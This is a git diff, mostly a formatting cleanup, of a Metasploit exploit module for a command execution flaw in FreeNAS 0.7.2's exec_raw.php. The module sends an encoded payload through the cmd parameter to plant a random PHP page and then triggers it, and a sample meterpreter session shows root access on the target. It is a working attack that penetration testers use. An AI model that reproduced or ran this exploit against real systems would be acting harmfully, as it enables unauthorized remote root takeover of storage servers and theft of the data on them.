diff --git a/modules/exploits/multi/http/freenas_exec_raw.rb b/modules/exploits/multi/http/freenas_exec_raw.rb index 85e795090f..1249ab2af2 100644 --- a/modules/exploits/multi/http/freenas_exec_raw.rb +++ b/modules/exploits/multi/http/freenas_exec_raw.rb @@ -12,28 +12,28 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = GreatRanking - include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpClient - def initialize(info = {}) - super(update_info(info, - 'Name' => 'FreeNAS exec_raw.php Arbitrary Command Execution.', - 'Description' => %q{ + def initialize(info = {}) + super(update_info(info, + 'Name' => 'FreeNAS exec_raw.php Arbitrary Command Execution.', + 'Description' => %q{ This module exploits an arbitrary command execution flaw in FreeNAS 0.7.2 < rev.5543. When passing a specially formatted URL to the exec_raw.php page, an attacker may be able to execute arbitrary commands. + NOTE: This module works best with php/meterpreter payloads. - }, - 'Author' => [ 'MC' ], - 'License' => MSF_LICENSE, - 'Version' => '$Revision$', - 'References' => - [ - [ 'URL', 'http://sourceforge.net/projects/freenas/files/stable/0.7.2/NOTES%200.7.2.5543.txt/download' ], - ], + }, + 'Author' => [ 'MC' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + [ 'URL', 'http://sourceforge.net/projects/freenas/files/stable/0.7.2/NOTES%200.7.2.5543.txt/download' ], + ], 'Payload' => { 'Space' => 6144, @@ -44,29 +44,32 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Automatic Target', { } ] ], - 'Privileged' => 'true', - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'DisclosureDate' => 'Nov 6 2010', + 'Privileged' => 'true', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'DisclosureDate' => 'Nov 6 2010', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(80),], self.class) - end + register_options( + [ + Opt::RPORT(80), + ], self.class) + end - def exploit + def exploit page = rand_text_alpha_upper(rand(5) + 1 ) + ".php" shellcode = payload.encoded sploit = "echo \"\" > #{page}" - + print_status("Sending exploit page '#{page}'") - - res = send_request_raw( + + res = send_request_raw( { - 'uri' => "/exec_raw.php?cmd=" + Rex::Text.uri_encode(sploit), - }, 10) + 'uri' => "/exec_raw.php?cmd=" + Rex::Text.uri_encode(sploit), + }, 10) if (res and res.code == 200) print_status("Triggering payload...") @@ -77,14 +80,15 @@ class Metasploit3 < Msf::Exploit::Remote return end - end + end end + =begin meterpreter > sysinfo Computer: freenas.local OS : FreeBSD freenas.local 7.3-RELEASE-p2 FreeBSD 7.3-RELEASE-p2 #0: Sat Jul 31 12:22:04 CEST 2010 root@dev.freenas.org:/usr/obj/freenas/usr/src/sys/FREENAS-i386 i386 meterpreter > getuid Server username: root (0) -meterpreter > +meterpreter > =end